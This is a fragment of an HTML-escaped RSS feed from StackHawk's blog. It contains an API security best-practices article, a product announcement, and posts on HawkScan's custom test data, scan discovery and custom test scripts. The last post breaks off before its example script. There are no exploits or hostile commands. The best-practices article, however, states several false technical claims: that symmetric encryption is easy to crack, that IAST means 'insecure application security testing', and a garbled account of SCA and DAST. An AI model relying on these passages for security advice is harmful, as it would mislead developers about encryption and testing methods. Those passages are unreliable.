form.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Mitigation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;1. Proactively check outgoing requests and block any that look suspicious.&lt;/p&gt;&lt;p&gt;2. Ensure you include no sensitive information in headers that can carry out additional attacks.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The OWASP Top 10 is a valuable resource that helps you build secure web applications by identifying and addressing the most common vulnerabilities in your systems. Following the guidelines above—and integrating API security testing using &lt;a href=&quot;https://www.stackhawk.com/solutions/owasp-top-10/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt;—minimizes your application&amp;#39;s exposure to security risks and reduces the likelihood of falling prey to an attack.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Mercy Kibet. &lt;/i&gt;&lt;a href=&quot;https://hashnode.com/@eiMJay&quot;&gt;&lt;i&gt;&lt;u&gt;Mercy&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a full-stack developer with a knack for learning and writing about new and intriguing tech stacks.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[8 API Security Best Practices Your Org Needs]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/8-api-security-best-practices-your-org-needs</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Developers and designers create applications that aim to provide the best possible functionality. These applications may also include internationalization (i18n), localization, and internationalization. Developers may choose not to include security measures or business logic in their applications because it&amp;#39;s unnecessary for the platform. However, many security measures are left unchecked because the business requirements cannot justify them. Security professionals and developers must work together to build secure applications resistant to the most common attacks. Any API vulnerability, no matter how big or small can pose a massive security risk. A DDoS attack and the leaking of sensitive information are just a few of the disastrous results of a successful API attack. As API traffic continually increases, so does the need for securing APIs.&lt;/p&gt;&lt;p&gt;This post covers the eight API security best practices that your organization needs to implement to properly secure your APIs.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;API Security Best Practices&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Before implementing an API, the system&amp;#39;s security must be built into the design and implementation. You should do this in a way that&amp;#39;s consistent with best practices. Proper security measures can help prevent unauthorized access to an organization&amp;#39;s data and services.&lt;/p&gt;&lt;p&gt;Below are the eight best practices when securing an API. &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Prioritization of security&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Strong authentication and authorization&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Encryption&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;API gateways&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Rate limiting&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Secure logging&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Security testing&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Swagger &amp;amp; OpenAPI&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h2&gt;&lt;b&gt;Prioritization of Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The first step when protecting your business from cyberattacks is prioritizing security over other aspects of development like time to market or expansion. Investing more time in identifying vulnerabilities before an attack protects you from a breach and reduces the operational cost of fixing it afterward.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Strong Authentication and Authorization&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;When developing an API, your application should use a mechanism to authenticate users and ensure they&amp;#39;re authorized to access the requested data. One of the easiest ways to introduce robust authentication and authorization to your APIs is through an API management platform. Many different API management platforms exist, with each of them supporting different authentication and authorization mechanisms. API management can also offer other benefits beyond security as well. For instance, when a user tries to sign in to your application, they&amp;#39;ll provide their username and password on the login page and click &amp;#39;Login.&amp;#39; This will trigger an API call from your application server to the user information service, which can be stored in a database or somewhere else entirely to validate whether the username and password provided by the client are valid. The response from this API request should include an access token that the client should store for later use. There are many ways to store this token and ensure you allow the user to access the data, including storing it on their local machine for convenience or with a third-party service. Click&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/authenticated-scanning/&quot;&gt;&lt;u&gt; here&lt;/u&gt;&lt;/a&gt; for more information about authorization.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Encryption&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Encryption helps protect your data from unauthorized access. The most common type of encryption is symmetric encryption, which uses a single key to encrypt and decrypt data. This type of encryption is relatively weak because it&amp;#39;s easy for attackers to crack. The attacker can decrypt the encrypted data using a similar encryption key. Asymmetric encryption is a more potent type of encryption, which uses two keys: a public key that anyone can use and a private key that only the owner can use. This type of encryption is more secure since the private key is not easily accessible. This is the best practice when encrypting data in transit to prevent unauthorized access and ensure that sensitive information remains confidential.&lt;/p&gt;&lt;p&gt;Another essential security best practice is ensuring you encrypt all data accessed by your API before sending it to the server and storing it on your database. Properly configuring your service and performing proper error handling can also help with protecting data from unauthorized access.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;API Gateways&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Managing data from an API can be tricky if you&amp;#39;re using APIs, depending on the user&amp;#39;s method, such as when a customer wants to update their order through an API or a web browser. When the API communicates with a user, another layer of security should prevent an attacker from taking advantage of the API to impersonate a user and manipulate data. One way to do this is to introduce an API gateway between your client and your server as an additional layer of protection. This specific type of API acts as a proxy between the client and server, separating the API from other applications so you can change them without affecting other systems. Many of the security best practices discussed in this article can be directly implemented through an API gateway or API management platform.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Rate Limiting&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;By introducing rate limiting to your API endpoint, you control the number of requests allowed per second and IP address restrictions to ensure that the client devices connecting to your API are valid. Rate limiting is a best security practice that can prevent brute force attacks and DoS attacks.&lt;/p&gt;&lt;p&gt;This pattern will ensure that your APIs can adequately scale and handle large amounts of data while preventing unauthorized access and ensuring data remains confidential. It will also allow your APIs to support many users without overwhelming your servers.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Secure Logging&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;To prevent unauthorized access and ensure you correctly handle errors, log all API requests so they cannot be altered or manipulated. The logs should provide secure storage for the data, preventing unauthorized access and protecting against the conversion of data into executable code that could be used for malicious purposes.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Security Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Security testing is software testing that, as the name implies, checks for potential vulnerabilities. The main goal of API security testing is to identify any flaws that hackers could exploit and cause harm to data and users. This can involve checking for malicious code, potential loopholes, and backdoors.&lt;/p&gt;&lt;p&gt;Below are the different security types.&lt;/p&gt;&lt;p&gt;&lt;b&gt;SCA&lt;/b&gt; stands for static code analysis, which scans through the source code with pre-compiled versions of applications that are often not executable on the target machine.&lt;/p&gt;&lt;p&gt;&lt;b&gt;SAST&lt;/b&gt;, or static application security testing, will examine source code or compiled code where you use &lt;b&gt;IAST&lt;/b&gt;, or insecure application security testing, with dynamic analysis techniques such as fuzzing to find bugs or errors in web applications.&lt;/p&gt;&lt;p&gt;&lt;b&gt;DAST&lt;/b&gt; refers to dynamic application security testing. It uses monitoring tools to generate a model of the tested application and then runs the application&amp;#39;s logic against this compiled model to find security problems. You execute the code without a target system, however. Fuzzing may produce false positives, but you can use it as an initial first check.&lt;/p&gt;&lt;p&gt;SAST testing can be time-consuming, depending on the size and quality of the source code or compiled code base. Still, it can uncover vulnerabilities that other types of security testing cannot. SAST is typically based on vulnerability patterns and known attack vectors.&lt;/p&gt;&lt;p&gt;DAST, IAST, and SCA are a few examples of security testing. It&amp;#39;s also necessary to test applications you might deploy into production sooner rather than later.&lt;/p&gt;&lt;p&gt;
&lt;b&gt;Swagger and OpenAPI&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Two tools that can help improve the security of an API are OpenAPI and Swagger. These tools can create and manage specifications for an API. Having the proper documentation and security measures can help prevent unauthorized access to an organization&amp;#39;s data and services.&lt;/p&gt;&lt;p&gt;One of the essential advantages of using OpenAPI and Swagger is that they ensure you properly document the API specifications. They can also help you improve communication between the security and development teams. They can additionally make it easier for organizations to identify and prevent security vulnerabilities in their APIs.
&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Security is one of the paramount aspects of any company or organization. Adopting these API security best practices in your development lifecycle is the best way to ensure your company remains secure. Implementing these practices can be one of the best ways to guard your organization against the vulnerabilities outlined in the OWASP API Security Top 10. However, you need tools in your arsenal to reinforce that. Tools like&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt; StackHawk&lt;/u&gt;&lt;/a&gt; can test your API for any vulnerabilities, and thanks to its triage mechanisms, you can automate your application&amp;#39;s security. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;&lt;i&gt;Learn more&lt;/i&gt;&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;i&gt;Read on to see how StackHawk’s CSO, Scott Gerlach talks about “Shift Left” being more than just a buzzword &lt;/i&gt;&lt;a href=&quot;https://www.securitymagazine.com/articles/98674-shift-left-beyond-the-cybersecurity-buzzword#:~:text=Shifting%20security%20left%20means%20organizations,as%20they%20push%20new%20code.&quot;&gt;&lt;i&gt;&lt;u&gt;here&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;. &lt;/i&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;i&gt;Check out why Omdia’s On the Radar report highlights StackHawk as an “interesting alternative to most other DAST tools” &lt;/i&gt;&lt;a href=&quot;https://www.stackhawk.com/lp/otr-stackhawk-for-dast-and-api-security-testing/&quot;&gt;&lt;i&gt;&lt;u&gt;here&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;.&lt;/i&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;i&gt;Getting started with StackHawk? Check out Advice and Answers from the amazing StackHawk team &lt;/i&gt;&lt;a href=&quot;https://help.stackhawk.com/en/&quot;&gt;&lt;i&gt;&lt;u&gt;here&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;. &lt;/i&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Announcing Deeper API Security Test Coverage]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/announcing-deeper-api-security-test-coverage</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Lauren Nagel]]></dc:creator><content:encoded>&lt;p&gt;When it comes to testing software in general, you want to make sure you have sufficient coverage. When it comes to security testing, that coverage becomes even more important because malicious players bank on you missing something. When you’re security testing your APIs you want to make sure you hit every path, cover every test case, and use the right test data so you don’t get blocked on an email check or during a checkout scenario with an invalid credit card number. &lt;/p&gt;&lt;p&gt;With StackHawk’s &lt;i&gt;Deeper API Security Testing&lt;/i&gt; release, we’re giving you three amazing new sets of functionality that ensure your APIs are thoroughly tested and secure. From getting started quickly using existing test tools and resources, ensuring our scanner has valid test data for your use cases, to creating your own custom test scripts to cover the most specific of scenarios, we’re proud to announce these new capabilities: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Custom Scan Discovery &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Custom Test Data for REST APIs&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Custom Test Scripts&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;I’m going to give you a quick overview of each new feature (because I’m a Product Manager and that’s what we do), but StackHawk is a devtool, so I will let the amazing developers who worked so hard on these powerful capabilities give you all the details in their own words. &lt;b&gt;Make sure to click through to their blog posts as well!&lt;/b&gt;&lt;/p&gt;&lt;h3&gt;Custom Scan Discovery - Why reinvent the wheel?&lt;/h3&gt;&lt;p&gt;As a dev-first API security test tool, StackHawk has always recommended using OpenAPI definitions as the gold standard for guiding our scanner. But, we understand that not everyone has this level of documentation OR maybe you’ve just already invested in a test script tool that you’d like to reuse. &lt;/p&gt;&lt;p&gt;With Custom Scan Discovery, you can configure the scanner to use your existing Postman Collections, Cypress test scripts, or another test script via a &lt;b&gt;curl &lt;/b&gt;command to get started scanning quickly and easily, no API specs required! We’ll even use existing test data from those scripts when we encounter data inputs. Learn more about Custom Scan Discovery and how to get started scanning your app from Sam in his blog post, &lt;a href=&quot;https://www.stackhawk.com/blog/customized-and-configurable-scan-discovery/&quot;&gt;Customized and Configurable Scan Discovery&lt;/a&gt;, or check out the &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/scan-discovery/#custom-scan-discovery&quot;&gt;&lt;u&gt;StackHawk docs&lt;/u&gt;&lt;/a&gt;.  &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Custom Test Data for REST APIs - Hackers don’t stop at an email address input field and neither should your test&lt;/h3&gt;&lt;p&gt;When you’re testing any applications, test cases require different test data. Sometimes you need valid data to move forward down a path, sometimes erroneous data, sometimes random data. Each might help you discover different error cases or potential vulnerabilities. And inputting incorrect data could stop your test altogether, leaving your app insufficiently tested. &lt;/p&gt;&lt;p&gt;With Custom Test Data for REST APIs, you are now in charge of the test data HawkScan uses. We’ll not only let you configure your test data, we’ll help you figure out where you need it, and give you a FAKER library when necessary. And as I mentioned above, if you’re using an existing test script with Custom Scan Discovery, we’ll go ahead and use that test data so you don’t have to configure two tools. Austin has all the details in his deep dive on &lt;a href=&quot;https://www.stackhawk.com/blog/custom-test-data-for-rest-apis/&quot;&gt;Custom Test Data for Rest APIs&lt;/a&gt;, or go straight to the docs &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/openapi-configuration.html#using-custom-values-for-parameters&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Custom Test Scripts - Every app is its own special snowflake&lt;/h3&gt;&lt;p&gt;StackHawk’s scanner is built on the well-known ZAP library for security vulnerabilities, so we’re already checking for a lot, but sometimes you need to cover a specific use case for your app or organization. Business logic, sensitive data, and privacy laws all require custom tests. Additionally, if you want to use existing custom tests from the ZAP library, you can add those to your StackHawk scans too. &lt;/p&gt;&lt;p&gt;Tenancy checks or Broken Function Level Auth are now within your grasp with just &lt;i&gt;a little&lt;/i&gt; scripting. Dana even gives you an example in her blog, &lt;a href=&quot;https://www.stackhawk.com/blog/scanning-with-custom-test-scripts/&quot;&gt;Scanning with Custom Test Scripts&lt;/a&gt;. After registering your scripts, they’ll be added to your scans and we’ll show you any alerts in the StackHawk platform alongside your other results. View details, triage, or assign alerts to devs for custom test alerts just like you would for any other vulnerabilities found by StackHawk. Check out the &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/custom-test-scripts.html&quot;&gt;&lt;u&gt;StackHawk docs&lt;/u&gt;&lt;/a&gt; for more details as well.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;“We’re far from the shallows now…”&lt;/h3&gt;&lt;p&gt;Lady Gaga hasn’t confirmed yet, but our CISO Scott Gerlach and myself will be demoing and discussing Deeper API Security Testing in our webinar on 9/28. &lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;/i&gt;&lt;a href=&quot;https://youtu.be/Lp63EUrICnk&quot;&gt;&lt;i&gt;Watch the recording here!&lt;/i&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;All this functionality is &lt;b&gt;available now,&lt;/b&gt; so if you’re already a customer we hope you dive deeper into your API security testing right away!&lt;/p&gt;&lt;p&gt;Want to get started with StackHawk? We have an &lt;a href=&quot;https://www.stackhawk.com/demo/&quot;&gt;&lt;u&gt;On Demand Demo&lt;/u&gt;&lt;/a&gt; and Free 14-day Enterprise trial available at &lt;a href=&quot;https://www.stackhawk.com&quot;&gt;&lt;u&gt;www.stackhawk.com&lt;/u&gt;&lt;/a&gt;. Ready to talk to someone and see StackHawk in action, contact us sales@stackhawk.com.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Custom Test Data for REST APIs]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/custom-test-data-for-rest-apis</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Austin Pearigen]]></dc:creator><content:encoded>&lt;h2&gt;Why is this new feature important? &lt;/h2&gt;&lt;p&gt;In the real world, the parameters defined in a REST API are meant to represent real data, in other words, usernames, asset IDs, query strings, and so on. Using real data for these parameters solicits more realistic logic from your application, and exercises more branches of your code.&lt;/p&gt;&lt;p&gt;For instance, in a password update flow in a REST API, if a username or ID is provided that does not exist within the context of the application, a simple 404 should be returned on the resource lookup, and none of the actual password reset code will be invoked. However, if the resource can be found, all of the password reset code will be exercised with the parameters provided.&lt;/p&gt;&lt;p&gt;This is where Hawkscan’s ‘Custom Test Data for REST APIs’ comes into the picture! This new feature allows users to configure values they want to use in a scan for each defined parameter. For each parameter in a scan, a list of values can be provided, and one of the values will be chosen randomly for each path that parameter belongs to. &lt;/p&gt;&lt;h2&gt;How is this new feature configured?&lt;/h2&gt;&lt;p&gt;To supply custom values for a REST API’s parameters, some configuration is necessary in the `stackhawk.yml` file. Under the `app.openApiConf` section of the configuration, a new array field called “customVariables” is available, which represents a list of fields and corresponding lists of values for each key. The key represents the parameter in your OpenAPI definition, and HawkScan uses the list of values to choose one on the fly when scanning a REST API. By default, the scanner will NOT use these custom values for DELETE methods. This default behavior is because HawkScan is running real malicious attacks against your application, so to err on the side of safety, DELETEs will not use any custom variables, even if a list of values is provided for that parameter.&lt;/p&gt;&lt;p&gt;To override this default behavior and use custom values for ALL HTTP methods, simply set `includeAllMethods` to true. If you want more control over which methods will use custom values, you can set exactly which methods to use with the `includedMethods` list. &lt;/p&gt;&lt;p&gt;Note: `includeAllMethods` defaults to false, but if set to true, the `includedMethods` will be ignored if provided. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;I don’t want to supply my own data, but I do want more realistic values.&lt;/h2&gt;&lt;p&gt;Sometimes existing data isn’t always necessary and properly formatted values will still be more effective than previous HawkScan default values. Leveraging the &lt;a href=&quot;https://fakerjs.dev/&quot;&gt;&lt;u&gt;Faker library&lt;/u&gt;&lt;/a&gt;, HawkScan can now generate more realistic data for a REST API using the `format` field on the OpenAPI definition. By using this field along with the type and other schema constraints, HawkScan can generate data that matches your schema on the fly.&lt;/p&gt;&lt;p&gt;For instance, if a request has a phone number as one of its parameters where the type is a string and the format is phone, an actual phone number can be generated rather than a default value string that has no relation to a phone number. Or if a path uses an integer ID parameter but the schema constrains the number to integers from 1-100, HawkScan will generate a random number within this range. To use these faker values, the `fakerEnabled` parameter in the openApiConf section of the `stackhawk.yml` file should be set to `true`. When enabled, HawkScan generates a realistic value for any parameters that have a format or constraints set and don’t have custom values also supplied in the `stackhawk.yml` file. &lt;/p&gt;&lt;h2&gt;My spec doesn’t have formats, but I still want to use more realistic values.&lt;/h2&gt;&lt;p&gt;If your API definition isn’t quite up to date with formats for each field, you can still leverage the `customVariables` section of the `stackhawk.yml` config file to inject Faker values into your scan. To do this, add a custom variable for each parameter you want to use Faker values for, and in the list of possible values, include `$faker:{format}` as a value.&lt;/p&gt;&lt;p&gt;For example, if the API definition includes an email in a request body, but the definition only defines that parameter as a type string and does not additionally supply the format, then in the `stackhawk.yml` file you can include `$faker:email` as a value for that parameter, and a realistic email will be generated for each path that parameter appears in. 
&lt;/p&gt;&lt;h2&gt;📺 Watch a Quick Demo&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://fast.wistia.net/embed/iframe/dqejl46p9u?videoFoam=true&quot;&gt;[Video]&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Customized and Configurable Scan Discovery]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/customized-and-configurable-scan-discovery</guid><category><![CDATA[Scanning with StackHawk]]></category><dc:creator><![CDATA[Sam Volin]]></dc:creator><content:encoded>&lt;p&gt;HawkScan provides multiple mechanisms to discover running web applications. Security and software development teams can combine forces and accomplish more in their software development pipeline by using the Spidering, HAR file, Seed Path, or Custom Scan Discovery mechanisms.&lt;/p&gt;&lt;h2&gt;Discovering an application by spidering pages&lt;/h2&gt;&lt;p&gt;During the &lt;b&gt;Active Scan&lt;/b&gt; portion of HawkScan&amp;#39;s operation, it will actively attack and attempt to replicate known software vulnerabilities against any paths your application exposes. Understanding what endpoints your web application exposes is fundamental to how HawkScan operates.&lt;/p&gt;&lt;p&gt;After HawkScan has started and configured behavior, but before the Active Scan, it will begin the &lt;b&gt;Scan Discovery&lt;/b&gt; phase, finding the paths of your web application by &amp;quot;spidering&amp;quot; them. This process will follow the URLs and relative paths found on each application/HTML page in a breadth-first search(BFS) pattern. Starting from the scanned `app.host`, this pattern will look for URLs within the same origin of your host (read: the application you’re scanning), and perform a &lt;b&gt;Passive Scan&lt;/b&gt; on the response, checking for any direct evidence of known vulnerabilities on a separate thread, before adding the path to the site tree for reuse during the Active Scan. &lt;/p&gt;&lt;p&gt;This behavior is what happens by default when you run HawkScan. HawkScan caps spidering at 2 minutes by default, so this part of the scan won&amp;#39;t take forever like some other AppSec tools. HawkScan also supports scanning from an OpenAPI specification file, Or a GraphQL introspection endpoint, or even a Soap WSDL file to find attackable paths into your API.&lt;/p&gt;&lt;p&gt;All of these aspects of the scan are entirely configurable within the stackhawk.yml file as well, by the way:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Discovering an Application with HAR Files&lt;/h2&gt;&lt;p&gt;A HAR (HTTP Archive) file is a log of a web browser&amp;#39;s interaction with a website. It stands for HTTP Archive format and is designed to store and share collected data about network requests, responses, and other performance-related information. HAR files capture details such as URLs, headers, cookies, timings, and content for each HTTP request made by the browser, which can be leveraged to discover your application.&lt;/p&gt;&lt;p&gt;With HawkScan,&lt;b&gt; &lt;/b&gt;you can identify and map the paths of your web application using HAR files. Although we prefer API specifications, HAR files rovide a high level of control and precision in how HawkScan navigates and analyzes your web application making it a better alternative than spidering for scan discovery.&lt;/p&gt;&lt;p&gt;We’ve made the scan discovery process for single-page apps even easier, by allowing you to&lt;b&gt; &lt;/b&gt;record HAR files directly from your local machine, providing even greater accuracy. This is extremely helpful for recording authentication to ensure you are testing password-protected routes.&lt;/p&gt;&lt;p&gt;To record a session, use &lt;code&gt;hawk perch start --with-chrome&lt;/code&gt; and &lt;code&gt;--with-proxy-info&lt;/code&gt; to begin the recording, and &lt;code&gt;hawk perch stop --har-file=&amp;lt;file name&amp;gt;&lt;/code&gt; to save your session. You can learn more with &lt;code&gt;hawk perch start --help and hawk perch stop --help&lt;/code&gt;.&lt;/p&gt;&lt;h2&gt;Discovering an application by telling HawkScan what&amp;#39;s what&lt;/h2&gt;&lt;p&gt;The web-crawling mechanism to discover a web application is not a silver bullet. It requires a link to be on every page in your web application in some fashion, all starting from your root `app.host`. This scenario won’t work for pages that are unlinked or hidden. If you know exactly what paths in your web application you want HawkScan to visit,  tell it explicitly by specifying `.seedPaths` . Providing HawkScan with seedPaths will add these application routes to the internal site tree to be visited later during the Active Scan.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;You can read more about &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/scan-discovery/&quot;&gt;&lt;u&gt;HawkScan scan discovery and spidering mechanisms&lt;/u&gt;&lt;/a&gt; in our sweet documentation.&lt;/p&gt;&lt;h2&gt;Customizing HawkScan with your favorite DevTools&lt;/h2&gt;&lt;p&gt;This brings us to a &lt;b&gt;cool new feature in HawkScan 2.8.0: Custom Scan Discovery.&lt;/b&gt; This feature allows HawkScan to be configured with a specified process command that will run in an environment designed for HawkScan to intercept the web traffic the command generates.&lt;/p&gt;&lt;p&gt;This feature is highly flexible to different environments or build systems, so that advanced developer resources can be reused.&lt;/p&gt;&lt;p&gt;By using this feature security teams can leverage the Postman Collections developers write for testing their API endpoints:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Or they can run their Cypress test suites and feed HawkScan the requests it makes into your web application:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The configuration support for Custom Discovery even works with HawkScan&amp;#39;s smart ability to interpolate and safely handle secrets from configuration at runtime. It’s so flexible, you can even invoke a shell and call any arbitrary commands a researcher may need with access to more terminal resources, so security researchers can get into all kinds of shenanigans with HawkScan:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;And more! These tools are just the tip of the iceberg. Any devtools that support proxying their web traffic into a separate host, either by the `HTTP_PROXY` environment variable or configuration file, can be used for customized Scan Discovery.&lt;/p&gt;&lt;p&gt;You can learn more about how to succeed with &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/scan-discovery/custom.html&quot;&gt;&lt;u&gt;Custom Scan Discovery in our documentation&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Combine them all and discover &lt;i&gt;your whole application&lt;/i&gt;&lt;/h2&gt;&lt;p&gt;Part of the power of HawkScan is it can use all or none of these spidering, seedpath, and custom discovery mechanisms together. And HawkScan works even better when configured to scan specific API protocols, such as OpenAPI, GraphQL, or Soap. HawkScan has the flexibility and capabilities to adapt to any software environment and support engineering teams in finding vulnerabilities anywhere in a running web application. By giving smarter, straightforward resources to developers and software teams, we hope users can maintain a stronger application security posture as they develop and defend their awesome software.
&lt;/p&gt;&lt;h2&gt;📺 Watch a Quick Demo&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://fast.wistia.net/embed/iframe/ncbe0mjybm?videoFoam=true&quot;&gt;[Video]&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Scanning with Custom Test Scripts]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/scanning-with-custom-test-scripts</guid><category><![CDATA[Scanning with StackHawk]]></category><dc:creator><![CDATA[Dana White]]></dc:creator><content:encoded>&lt;p&gt;Congratulations, responsible developer!  You’ve shifted left and incorporated HawkScan into your CI/CD pipeline. You are now finding and fixing vulnerabilities before they see the light of day. &lt;/p&gt;&lt;p&gt;But what about vulnerabilities specific to your custom business logic?  Your application handles private information and you need to ensure you’re providing protection for that data.  Or maybe you want to take advantage of scripts already written by the &lt;a href=&quot;https://github.com/zaproxy/community-scripts/tree/main/active&quot;&gt;&lt;u&gt;ZAP community&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Well now you can. StackHawk has released beta support for Custom Test Scripts; active scripts written in JavaScript and run in HawkScan. Custom Test Scripts are a way to create your own vulnerability test. HawkScan will use your custom logic to attack targets in your application and report the results to the &lt;a href=&quot;https://auth.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk platform.&lt;/u&gt;&lt;/a&gt; &lt;/p&gt;&lt;p&gt;Simply &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/custom-test-scripts.html#write-script&quot;&gt;&lt;u&gt;write&lt;/u&gt;&lt;/a&gt; the script, &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/custom-test-scripts.html#register-script&quot;&gt;&lt;u&gt;register&lt;/u&gt;&lt;/a&gt; the script to the StackHawk platform, and add reference to it in your &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/custom-test-scripts.html#add-config&quot;&gt;&lt;u&gt;stackhawk.yml&lt;/u&gt;&lt;/a&gt; configuration file.  Now your own custom logic to verify the security of your application can be run on every PR.&lt;/p&gt;&lt;h2&gt;Writing your own Custom Test Scripts&lt;/h2&gt;&lt;p&gt;One of the more common issues that web applications face is tenancy violation.  You have one application serving multiple customers belonging to all different companies and nobody should be seeing data from companies they don’t belong to.  But HawkScan doesn’t know that Shirley belongs to Company A and Bob belongs to Company B.  It just knows that your application is free and clear of the &lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;&lt;u&gt;OWASP Top Ten&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;To solve this problem, we can write a naïve algorithm to check for tenancy violation in an active JavaScript Custom Test Script.  Your script needs to include the `scanNode()` or the `scan()` function (you could write more, I’m not the boss of you) that should call the `newAlert()` function when an alert is detected. The `scan()` function runs for every parameter in every url on that page whereas the `scanNode()` is run once on the page.  The following `scanNode()` function will run with the &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/authenticated-scanning&quot;&gt;&lt;u&gt;authentication&lt;/u&gt;&lt;/a&gt; specified (Shirley’s logged in this time) and will raise an alert when it hits the `/users` endpoint and Bob’s user details are on display.
